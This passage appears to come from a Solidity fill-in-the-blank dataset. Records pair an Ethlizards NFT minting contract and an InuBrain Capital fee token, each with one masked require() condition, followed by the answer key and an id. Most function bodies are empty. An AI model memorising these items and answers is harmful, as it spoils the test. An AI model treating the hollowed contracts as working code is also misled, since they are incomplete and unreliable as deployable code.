function setOnlyOGMints(bool _state) public onlyOwner {
}
function setOnlyWLMints(bool _state) public onlyOwner {
}
function setPublicSale(bool _state) public onlyOwner {
}
function reveal(bool _state) public onlyOwner {
}
function setMaxLizards(uint256 _maxLizardAmount) public onlyOwner {
}
function _OGVerify(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
}
function OGmint(
uint256 _mintAmount,
uint256 allowance,
bytes32[] calldata proof
) public payable {
}
function _WlVerify(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
}
function WLmint(
uint256 _mintAmount,
uint256 allowance,
bytes32[] calldata proof
) public payable {
bytes32 WLLeaf = keccak256(abi.encodePacked(msg.sender, allowance));
require(<FILL_ME>)
require(
WLMinted[msg.sender] + _mintAmount <= allowance,
"Exceeds white list mint Allowance"
);
require(onlyWLMints, "White list minting must be active to mint");
require(msg.value == cost * _mintAmount, "Wrong amount of Ether sent");
WLMinted[msg.sender] += _mintAmount;
uint256 totalSupply = _owners.length;
for (uint256 i; i < _mintAmount; i++) {
_mint(_msgSender(), totalSupply + i);
}
}
function mint(uint256 _mintAmount) public payable {
}
function collectFoundersReserves() external onlyOwner {
}
function collectAuctionReserves() external onlyOwner {
}
function collectTeamReserves() external onlyOwner {
}
function withdraw() public {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function burn(uint256 tokenId) public {
}
function batchTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIds
) public {
}
function batchSafeTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIds,
bytes memory data_
) public {
}
function isOwnerOf(address account, uint256[] calldata _tokenIds)
external
view
returns (bool)
{
}
function isApprovedForAll(address _owner, address operator)
public
view
override
returns (bool)
{
}
function _mint(address to, uint256 tokenId) internal virtual override {
}
}
contract OwnableDelegateProxy {}
contract OpenSeaProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
| _WlVerify(WLLeaf,proof),"Invalid Proof Supplied." | 29,780 | _WlVerify(WLLeaf,proof) |
"Exceeds white list mint Allowance" | // SPDX-License-Identifier: MIT
/*
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - ++ - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
@@##%@@
@%&(((((@@#(((((&@
#@@@ @(#**@*@*@/#@
@@ /#/*@**@****(@&@@
@@ @. @(@**@/@*@/#@ &@
@ . @@. @@#(///(#@ @@
@@.... @@, @
@@..... @@@@ @
@...... @ @, @@
@... . . @@
@@..... &@
@@....... (@
@@....... @.
@@....... @
@@.... @.
@@... . @@
@@.... . @@
@....... @@
@......... @@
@@.......... @@
@@............. @@@@ @@
@................. (@@ @#
@@................. @@ @@
@@................... @, &@ @@
@*.....*@................@.. @@ @@
@........@..................@@ @ @.
@..........@.....................@@. @ /@
&@..........@@@@....................... @@@@ @, @
@@.........@@ @@...................... . @ %@ @
.@.........@. *@...................... .@ @@ @
@@........@ ,@@.....................@. @ @(
@@@@@@@@@ @@@@@@@@@@@ @% .@ @@ @@ @@@@@@@@@& @@@ @@@@@@@@@@ @@@@@@@@ #@@@@@@@
@. @ @% .@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@
@@@@@@@@@ @ @@@@@@@@@@ @@ @@ @@ @@ @@ @@ .@@@ @@ @@ @@@@@@
@. @ @% .@ @@ @@ @@ @@@@@@@@@ @@ @@@ @@ @@ @@
@. @ @% .@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ %@
@@@@@@@@@@ @ @% .@ @@@@@@@@@ @@ @@@@@@@@@@@@@ @@ @@ @@ @@@@@# @@@@(
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - ++ - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
Web: ethlizards.io
Underground Lizard Lounge Discord: https://discord.com/invite/ethlizards
Developer: Sp1cySauce - Discord: SpicySauce#1615 - Twitter: @SaucyCrypto
Props: Chance - for Optimizations
*/
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721Enumerable.sol";
contract Lizards is ERC721Enumerable, Ownable {
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
string public foundersURI;
string public auctionURI;
address public proxyRegistryAddress;
address public bettyFromAccounting;
bytes32 public OGMerkleRoot;
bytes32 public whitelistMerkleRoot;
mapping(address => bool) public projectProxy;
mapping(address => uint256) public OGMinted;
mapping(address => uint256) public WLMinted;
uint256 public maxLizardSupply = 5051; //Actial Max Supply is 5050
uint256 public constant maxLizardPerMint = 11; //Actual Max Mint Amount is 10
uint256 public constant cost = 0.06 ether;
uint256 public constant auctionReservations = 5;
uint256 public constant teamReservations = 100;
uint256 public constant foundersReservations = 10;
bool public revealed = false;
bool public onlyOGMints = false;
bool public onlyWLMints = false;
bool public publicMint = false;
constructor(
string memory _BaseURI,
string memory _NotRevealedUri,
string memory _FoundersURI,
string memory _AuctionURI,
address _proxyRegistryAddress,
address _bettyFromAccounting
) ERC721("Ethlizards", "LIZARD") {
}
function _baseURI() internal view virtual returns (string memory) {
}
function _foundersURI() internal view virtual returns (string memory) {
}
function _auctionURI() internal view virtual returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setFoundersURI(string memory _newFoundersURI) public onlyOwner {
}
function setAuctionURI(string memory _newAuctionURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setProxyRegistryAddress(address _proxyRegistryAddress)
external
onlyOwner
{
}
function flipProxyState(address proxyAddress) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot)
external
onlyOwner
{
}
function setOGMerkleRoot(bytes32 _OGMerkleRoot) external onlyOwner {
}
function setOnlyOGMints(bool _state) public onlyOwner {
}
function setOnlyWLMints(bool _state) public onlyOwner {
}
function setPublicSale(bool _state) public onlyOwner {
}
function reveal(bool _state) public onlyOwner {
}
function setMaxLizards(uint256 _maxLizardAmount) public onlyOwner {
}
function _OGVerify(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
}
function OGmint(
uint256 _mintAmount,
uint256 allowance,
bytes32[] calldata proof
) public payable {
}
function _WlVerify(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
}
function WLmint(
uint256 _mintAmount,
uint256 allowance,
bytes32[] calldata proof
) public payable {
bytes32 WLLeaf = keccak256(abi.encodePacked(msg.sender, allowance));
require(_WlVerify(WLLeaf, proof), "Invalid Proof Supplied.");
require(<FILL_ME>)
require(onlyWLMints, "White list minting must be active to mint");
require(msg.value == cost * _mintAmount, "Wrong amount of Ether sent");
WLMinted[msg.sender] += _mintAmount;
uint256 totalSupply = _owners.length;
for (uint256 i; i < _mintAmount; i++) {
_mint(_msgSender(), totalSupply + i);
}
}
function mint(uint256 _mintAmount) public payable {
}
function collectFoundersReserves() external onlyOwner {
}
function collectAuctionReserves() external onlyOwner {
}
function collectTeamReserves() external onlyOwner {
}
function withdraw() public {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function burn(uint256 tokenId) public {
}
function batchTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIds
) public {
}
function batchSafeTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIds,
bytes memory data_
) public {
}
function isOwnerOf(address account, uint256[] calldata _tokenIds)
external
view
returns (bool)
{
}
function isApprovedForAll(address _owner, address operator)
public
view
override
returns (bool)
{
}
function _mint(address to, uint256 tokenId) internal virtual override {
}
}
contract OwnableDelegateProxy {}
contract OpenSeaProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
| WLMinted[msg.sender]+_mintAmount<=allowance,"Exceeds white list mint Allowance" | 29,780 | WLMinted[msg.sender]+_mintAmount<=allowance |
"Sorry, this would exceed maximum Lizard mints" | // SPDX-License-Identifier: MIT
/*
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - ++ - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
@@##%@@
@%&(((((@@#(((((&@
#@@@ @(#**@*@*@/#@
@@ /#/*@**@****(@&@@
@@ @. @(@**@/@*@/#@ &@
@ . @@. @@#(///(#@ @@
@@.... @@, @
@@..... @@@@ @
@...... @ @, @@
@... . . @@
@@..... &@
@@....... (@
@@....... @.
@@....... @
@@.... @.
@@... . @@
@@.... . @@
@....... @@
@......... @@
@@.......... @@
@@............. @@@@ @@
@................. (@@ @#
@@................. @@ @@
@@................... @, &@ @@
@*.....*@................@.. @@ @@
@........@..................@@ @ @.
@..........@.....................@@. @ /@
&@..........@@@@....................... @@@@ @, @
@@.........@@ @@...................... . @ %@ @
.@.........@. *@...................... .@ @@ @
@@........@ ,@@.....................@. @ @(
@@@@@@@@@ @@@@@@@@@@@ @% .@ @@ @@ @@@@@@@@@& @@@ @@@@@@@@@@ @@@@@@@@ #@@@@@@@
@. @ @% .@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@
@@@@@@@@@ @ @@@@@@@@@@ @@ @@ @@ @@ @@ @@ .@@@ @@ @@ @@@@@@
@. @ @% .@ @@ @@ @@ @@@@@@@@@ @@ @@@ @@ @@ @@
@. @ @% .@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ %@
@@@@@@@@@@ @ @% .@ @@@@@@@@@ @@ @@@@@@@@@@@@@ @@ @@ @@ @@@@@# @@@@(
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - ++ - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
Web: ethlizards.io
Underground Lizard Lounge Discord: https://discord.com/invite/ethlizards
Developer: Sp1cySauce - Discord: SpicySauce#1615 - Twitter: @SaucyCrypto
Props: Chance - for Optimizations
*/
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721Enumerable.sol";
contract Lizards is ERC721Enumerable, Ownable {
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
string public foundersURI;
string public auctionURI;
address public proxyRegistryAddress;
address public bettyFromAccounting;
bytes32 public OGMerkleRoot;
bytes32 public whitelistMerkleRoot;
mapping(address => bool) public projectProxy;
mapping(address => uint256) public OGMinted;
mapping(address => uint256) public WLMinted;
uint256 public maxLizardSupply = 5051; //Actial Max Supply is 5050
uint256 public constant maxLizardPerMint = 11; //Actual Max Mint Amount is 10
uint256 public constant cost = 0.06 ether;
uint256 public constant auctionReservations = 5;
uint256 public constant teamReservations = 100;
uint256 public constant foundersReservations = 10;
bool public revealed = false;
bool public onlyOGMints = false;
bool public onlyWLMints = false;
bool public publicMint = false;
constructor(
string memory _BaseURI,
string memory _NotRevealedUri,
string memory _FoundersURI,
string memory _AuctionURI,
address _proxyRegistryAddress,
address _bettyFromAccounting
) ERC721("Ethlizards", "LIZARD") {
}
function _baseURI() internal view virtual returns (string memory) {
}
function _foundersURI() internal view virtual returns (string memory) {
}
function _auctionURI() internal view virtual returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setFoundersURI(string memory _newFoundersURI) public onlyOwner {
}
function setAuctionURI(string memory _newAuctionURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setProxyRegistryAddress(address _proxyRegistryAddress)
external
onlyOwner
{
}
function flipProxyState(address proxyAddress) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot)
external
onlyOwner
{
}
function setOGMerkleRoot(bytes32 _OGMerkleRoot) external onlyOwner {
}
function setOnlyOGMints(bool _state) public onlyOwner {
}
function setOnlyWLMints(bool _state) public onlyOwner {
}
function setPublicSale(bool _state) public onlyOwner {
}
function reveal(bool _state) public onlyOwner {
}
function setMaxLizards(uint256 _maxLizardAmount) public onlyOwner {
}
function _OGVerify(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
}
function OGmint(
uint256 _mintAmount,
uint256 allowance,
bytes32[] calldata proof
) public payable {
}
function _WlVerify(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
}
function WLmint(
uint256 _mintAmount,
uint256 allowance,
bytes32[] calldata proof
) public payable {
}
function mint(uint256 _mintAmount) public payable {
uint256 totalSupply = _owners.length;
require(publicMint, "Public minting is not currently available"); //ensure Public Mint is on
require(
_mintAmount < maxLizardPerMint,
"max mint amount per mint exceeded"
);
require(<FILL_ME>)
//require that the max number has not been exceeded
require(msg.value == cost * _mintAmount, "Wrong amount of Ether sent");
for (uint256 i; i < _mintAmount; i++) {
_mint(_msgSender(), totalSupply + i);
}
}
function collectFoundersReserves() external onlyOwner {
}
function collectAuctionReserves() external onlyOwner {
}
function collectTeamReserves() external onlyOwner {
}
function withdraw() public {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function burn(uint256 tokenId) public {
}
function batchTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIds
) public {
}
function batchSafeTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIds,
bytes memory data_
) public {
}
function isOwnerOf(address account, uint256[] calldata _tokenIds)
external
view
returns (bool)
{
}
function isApprovedForAll(address _owner, address operator)
public
view
override
returns (bool)
{
}
function _mint(address to, uint256 tokenId) internal virtual override {
}
}
contract OwnableDelegateProxy {}
contract OpenSeaProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
| totalSupply+_mintAmount<maxLizardSupply,"Sorry, this would exceed maximum Lizard mints" | 29,780 | totalSupply+_mintAmount<maxLizardSupply |
"Not Open" | /**
InuBrain Capital: IBC
A friendly ghost has been spotted wandering around on the Ethereum Mainnet - a generous ghost named InuBrain Capital. InuBrain Capital's ambition is to become the biggest, best managed, and friendliest Ethereum reflection token on the ETH network! And as is befitting for a ghost, it manifests itself in stealth...
InuBrain Capital has the vision not just give our holders passive income but also the best meme "Inu" on board.
Tax for Buying/Selling: 14%
- 6% of each transaction sent to holders as ETH transactions
- 5% of each transaction sent to Marketing Wallet
- 3% of each transaction sent to the Liquidity Pool
Earning Dashboard:
https://inubrain.capital
Telegram:
http://T.me/InuBrainCapital
Twitter:
https://twitter.com/InuBrainCapital
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./IERC20.sol";
import "./Address.sol";
import "./SafeMath.sol";
import "./IUniswapV2Factory.sol";
import "./IUniswapV2Pair.sol";
import "./IUniswapV2Router02.sol";
contract InuBrainCapital is Ownable, IERC20 {
address UNISWAPROUTER = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string private _name = "InuBrain Capital";
string private _symbol = "IBC";
uint256 public marketingFeeBPS = 500;
uint256 public liquidityFeeBPS = 300;
uint256 public dividendFeeBPS = 600;
uint256 public totalFeeBPS = 1400;
uint256 public swapTokensAtAmount = 10000000 * (10**18);
uint256 public lastSwapTime;
bool swapAllToken = true;
bool public swapEnabled = true;
bool public taxEnabled = true;
bool public compoundingEnabled = true;
uint256 private _totalSupply;
bool private swapping;
address marketingWallet;
address liquidityWallet;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public automatedMarketMakerPairs;
mapping(address => bool) private _whiteList;
event SwapAndAddLiquidity(uint256 tokensSwapped, uint256 nativeReceived, uint256 tokensIntoLiquidity);
event SendDividends(uint256 tokensSwapped, uint256 amount);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event SwapEnabled(bool enabled);
event TaxEnabled(bool enabled);
event CompoundingEnabled(bool enabled);
DividendTracker public dividendTracker;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
uint256 public maxTxBPS = 100;
uint256 public maxWalletBPS = 300;
bool isOpen = false;
mapping(address => bool) private _isExcludedFromMaxTx;
mapping(address => bool) private _isExcludedFromMaxWallet;
constructor(address _marketingWallet, address _liquidityWallet, address[] memory whitelistAddress) {
}
receive() external payable {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function openTrading() external onlyOwner {
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(<FILL_ME>)
require(sender != address(0), "InuBrain: transfer from the zero address");
require(recipient != address(0), "InuBrain: transfer to the zero address");
uint256 _maxTxAmount = totalSupply() * maxTxBPS / 10000;
uint256 _maxWallet = totalSupply() * maxWalletBPS / 10000;
require(amount <= _maxTxAmount || _isExcludedFromMaxTx[sender], "TX Limit Exceeded");
if (sender != owner() && recipient != address(this) && recipient != address(DEAD) && recipient != uniswapV2Pair){
uint256 currentBalance = balanceOf(recipient);
require(_isExcludedFromMaxWallet[recipient] || (currentBalance + amount <= _maxWallet));
}
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "InuBrain: transfer amount exceeds balance");
uint256 contractTokenBalance = balanceOf(address(this));
uint256 contractNativeBalance = address(this).balance;
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(swapEnabled &&
canSwap &&
!swapping &&
!automatedMarketMakerPairs[sender] && // no swap on remove liquidity step 1 or DEX buy
sender != address(uniswapV2Router) && // no swap on remove liquidity step 2
sender != owner() &&
recipient != owner()
) {
swapping = true;
if(!swapAllToken){
contractTokenBalance = swapTokensAtAmount;
}
_executeSwap(contractTokenBalance, contractNativeBalance);
lastSwapTime = block.timestamp;
swapping = false;
}
bool takeFee;
if(sender == address(uniswapV2Pair) || recipient == address(uniswapV2Pair)) {
takeFee = true;
}
if(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
takeFee = false;
}
if(swapping || !taxEnabled) {
takeFee = false;
}
if(takeFee) {
uint256 fees = amount * totalFeeBPS / 10000;
amount -= fees;
_executeTransfer(sender, address(this), fees);
}
_executeTransfer(sender, recipient, amount);
dividendTracker.setBalance(payable(sender), balanceOf(sender));
dividendTracker.setBalance(payable(recipient), balanceOf(recipient));
}
function _executeTransfer(address sender, address recipient, uint256 amount) private {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _mint(address account, uint256 amount) private {
}
function _burn(address account, uint256 amount) private {
}
function swapTokensForNative(uint256 tokens) private {
}
function addLiquidity(uint256 tokens, uint256 native) private {
}
function includeToWhiteList(address[] memory _users) private {
}
function _executeSwap(uint256 tokens, uint256 native) private {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function manualSendDividend(uint256 amount, address holder) external onlyOwner {
}
function excludeFromDividends(address account, bool excluded) public onlyOwner {
}
function isExcludedFromDividends(address account) public view returns (bool) {
}
function setWallet(address payable _marketingWallet, address payable _liquidityWallet) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function setFee(uint256 _marketingFee, uint256 _liquidityFee, uint256 _dividendFee) external onlyOwner{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateUniswapV2Router(address newAddress) public onlyOwner {
}
function claim() public {
}
function compound() public {
}
function withdrawableDividendOf(address account) public view returns (uint256) {
}
function withdrawnDividendOf(address account) public view returns (uint256) {
}
function accumulativeDividendOf(address account) public view returns (uint256) {
}
function getAccountInfo(address account) public view returns (address, uint256, uint256, uint256, uint256) {
}
function getLastClaimTime(address account) public view returns (uint256) {
}
function setSwapEnabled(bool _enabled) external onlyOwner () {
}
function setTaxEnabled(bool _enabled) external onlyOwner () {
}
function setCompoundingEnabled(bool _enabled) external onlyOwner () {
}
function updateDividendSettings(bool _swapEnabled, uint256 _swapTokensAtAmount, bool _swapAllToken) external onlyOwner () {
}
function setMaxTxBPS(uint256 bps) external onlyOwner () {
}
function excludeFromMaxTx(address account, bool excluded) public onlyOwner () {
}
function isExcludedFromMaxTx(address account) public view returns (bool) {
}
function setMaxWalletBPS(uint256 bps) external onlyOwner () {
}
function excludeFromMaxWallet(address account, bool excluded) public onlyOwner () {
}
function isExcludedFromMaxWallet(address account) public view returns (bool) {
}
function rescueToken(address _token, uint256 _amount) external onlyOwner {
}
function rescueETH(uint256 _amount) external onlyOwner{
}
}
contract DividendTracker is Ownable, IERC20 {
address UNISWAPROUTER;
string private _name = "InuBrain_DividendTracker";
string private _symbol = "InuBrain_DividendTracker";
uint256 public lastProcessedIndex;
uint256 private _totalSupply;
mapping (address => uint256) private _balances;
uint256 constant private magnitude = 2**128;
uint256 public immutable minTokenBalanceForDividends;
uint256 private magnifiedDividendPerShare;
uint256 public totalDividendsDistributed;
uint256 public totalDividendsWithdrawn;
address public tokenAddress;
mapping (address => bool) public excludedFromDividends;
mapping (address => int256) private magnifiedDividendCorrections;
mapping (address => uint256) private withdrawnDividends;
mapping (address => uint256) private lastClaimTimes;
event DividendsDistributed(address indexed from, uint256 weiAmount);
event DividendWithdrawn(address indexed to, uint256 weiAmount);
event ExcludeFromDividends(address indexed account, bool excluded);
event Claim(address indexed account, uint256 amount);
event Compound(address indexed account, uint256 amount, uint256 tokens);
struct AccountInfo {
address account;
uint256 withdrawableDividends;
uint256 totalDividends;
uint256 lastClaimTime;
}
constructor(address _tokenAddress, address _uniswapRouter) {
}
receive() external payable {
}
function distributeDividends() public payable {
}
function setBalance(address payable account, uint256 newBalance) external onlyOwner {
}
function excludeFromDividends(address account, bool excluded) external onlyOwner {
}
function isExcludedFromDividends(address account) public view returns (bool) {
}
function manualSendDividend(uint256 amount, address holder) external onlyOwner {
}
function _setBalance(address account, uint256 newBalance) internal {
}
function _mint(address account, uint256 amount) private {
}
function _burn(address account, uint256 amount) private {
}
function processAccount(address payable account) public onlyOwner returns (bool) {
}
function _withdrawDividendOfUser(address payable account) private returns (uint256) {
}
function compoundAccount(address payable account) public onlyOwner returns (bool) {
}
function _compoundDividendOfUser(address payable account) private returns (uint256, uint256) {
}
function withdrawableDividendOf(address account) public view returns (uint256) {
}
function withdrawnDividendOf(address account) public view returns (uint256) {
}
function accumulativeDividendOf(address account) public view returns (uint256) {
}
function getAccountInfo(address account) public view returns (address, uint256, uint256, uint256, uint256) {
}
function getLastClaimTime(address account) public view returns (uint256) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address, uint256) public pure override returns (bool) {
}
function allowance(address, address) public pure override returns (uint256) {
}
function approve(address, uint256) public pure override returns (bool) {
}
function transferFrom(address, address, uint256) public pure override returns (bool) {
}
}
| isOpen||sender==owner()||recipient==owner()||_whiteList[sender]||_whiteList[recipient],"Not Open" | 29,783 | isOpen||sender==owner()||recipient==owner()||_whiteList[sender]||_whiteList[recipient] |
null | /**
InuBrain Capital: IBC
A friendly ghost has been spotted wandering around on the Ethereum Mainnet - a generous ghost named InuBrain Capital. InuBrain Capital's ambition is to become the biggest, best managed, and friendliest Ethereum reflection token on the ETH network! And as is befitting for a ghost, it manifests itself in stealth...
InuBrain Capital has the vision not just give our holders passive income but also the best meme "Inu" on board.
Tax for Buying/Selling: 14%
- 6% of each transaction sent to holders as ETH transactions
- 5% of each transaction sent to Marketing Wallet
- 3% of each transaction sent to the Liquidity Pool
Earning Dashboard:
https://inubrain.capital
Telegram:
http://T.me/InuBrainCapital
Twitter:
https://twitter.com/InuBrainCapital
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./IERC20.sol";
import "./Address.sol";
import "./SafeMath.sol";
import "./IUniswapV2Factory.sol";
import "./IUniswapV2Pair.sol";
import "./IUniswapV2Router02.sol";
contract InuBrainCapital is Ownable, IERC20 {
address UNISWAPROUTER = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string private _name = "InuBrain Capital";
string private _symbol = "IBC";
uint256 public marketingFeeBPS = 500;
uint256 public liquidityFeeBPS = 300;
uint256 public dividendFeeBPS = 600;
uint256 public totalFeeBPS = 1400;
uint256 public swapTokensAtAmount = 10000000 * (10**18);
uint256 public lastSwapTime;
bool swapAllToken = true;
bool public swapEnabled = true;
bool public taxEnabled = true;
bool public compoundingEnabled = true;
uint256 private _totalSupply;
bool private swapping;
address marketingWallet;
address liquidityWallet;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public automatedMarketMakerPairs;
mapping(address => bool) private _whiteList;
event SwapAndAddLiquidity(uint256 tokensSwapped, uint256 nativeReceived, uint256 tokensIntoLiquidity);
event SendDividends(uint256 tokensSwapped, uint256 amount);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event SwapEnabled(bool enabled);
event TaxEnabled(bool enabled);
event CompoundingEnabled(bool enabled);
DividendTracker public dividendTracker;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
uint256 public maxTxBPS = 100;
uint256 public maxWalletBPS = 300;
bool isOpen = false;
mapping(address => bool) private _isExcludedFromMaxTx;
mapping(address => bool) private _isExcludedFromMaxWallet;
constructor(address _marketingWallet, address _liquidityWallet, address[] memory whitelistAddress) {
}
receive() external payable {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function openTrading() external onlyOwner {
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(isOpen || sender == owner() || recipient == owner() || _whiteList[sender] || _whiteList[recipient], "Not Open");
require(sender != address(0), "InuBrain: transfer from the zero address");
require(recipient != address(0), "InuBrain: transfer to the zero address");
uint256 _maxTxAmount = totalSupply() * maxTxBPS / 10000;
uint256 _maxWallet = totalSupply() * maxWalletBPS / 10000;
require(amount <= _maxTxAmount || _isExcludedFromMaxTx[sender], "TX Limit Exceeded");
if (sender != owner() && recipient != address(this) && recipient != address(DEAD) && recipient != uniswapV2Pair){
uint256 currentBalance = balanceOf(recipient);
require(<FILL_ME>)
}
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "InuBrain: transfer amount exceeds balance");
uint256 contractTokenBalance = balanceOf(address(this));
uint256 contractNativeBalance = address(this).balance;
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(swapEnabled &&
canSwap &&
!swapping &&
!automatedMarketMakerPairs[sender] && // no swap on remove liquidity step 1 or DEX buy
sender != address(uniswapV2Router) && // no swap on remove liquidity step 2
sender != owner() &&
recipient != owner()
) {
swapping = true;
if(!swapAllToken){
contractTokenBalance = swapTokensAtAmount;
}
_executeSwap(contractTokenBalance, contractNativeBalance);
lastSwapTime = block.timestamp;
swapping = false;
}
bool takeFee;
if(sender == address(uniswapV2Pair) || recipient == address(uniswapV2Pair)) {
takeFee = true;
}
if(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
takeFee = false;
}
if(swapping || !taxEnabled) {
takeFee = false;
}
if(takeFee) {
uint256 fees = amount * totalFeeBPS / 10000;
amount -= fees;
_executeTransfer(sender, address(this), fees);
}
_executeTransfer(sender, recipient, amount);
dividendTracker.setBalance(payable(sender), balanceOf(sender));
dividendTracker.setBalance(payable(recipient), balanceOf(recipient));
}
function _executeTransfer(address sender, address recipient, uint256 amount) private {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _mint(address account, uint256 amount) private {
}
function _burn(address account, uint256 amount) private {
}
function swapTokensForNative(uint256 tokens) private {
}
function addLiquidity(uint256 tokens, uint256 native) private {
}
function includeToWhiteList(address[] memory _users) private {
}
function _executeSwap(uint256 tokens, uint256 native) private {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function manualSendDividend(uint256 amount, address holder) external onlyOwner {
}
function excludeFromDividends(address account, bool excluded) public onlyOwner {
}
function isExcludedFromDividends(address account) public view returns (bool) {
}
function setWallet(address payable _marketingWallet, address payable _liquidityWallet) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function setFee(uint256 _marketingFee, uint256 _liquidityFee, uint256 _dividendFee) external onlyOwner{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
